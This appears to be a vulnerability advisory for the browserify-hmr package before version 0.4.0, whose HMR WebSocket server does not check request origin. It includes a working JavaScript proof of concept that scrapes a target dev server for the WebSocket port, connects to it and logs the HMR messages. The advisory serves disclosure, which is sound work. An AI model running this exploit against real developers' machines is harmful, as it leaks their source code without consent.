Access Restriction Bypass Affecting browserify-hmr package, versions <0.4.0

browserify-hmr is an implementation of Webpack's Hot Module Replacement API as a plugin for Browserify.

Affected versions of this package are vulnerable to Access Restriction Bypass. The origin of requests was not checked by the WebSocket server, which is used for HMR (Hot Module Replacement). Anyone could receive the HMR message sent by the WebSocket server via a ws://127.0.0.1:3123/ connection from any origin.

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:1234');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
var ws;
fetch(target).then(r => {
    r.text().then(r => {
        let scriptSrc = r.match(/<script src=\"(.*?)\"><\/script>/)[1];
        fetch(`${target}${scriptSrc}`).then(r => {
            r.text().then(r => {
                let wsPort = r.match(/new WebSocket.*?(\d{4,5})/)[1];
                wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}`;
                ws = new WebSocket(wsTarget);
                ws.onmessage = event => {
                    console.log(event.data)
                };
            })
        })
    })
});

• GitHub Commit
• GitHub Issue
• GitHub PR
• Sniffing Codes Blog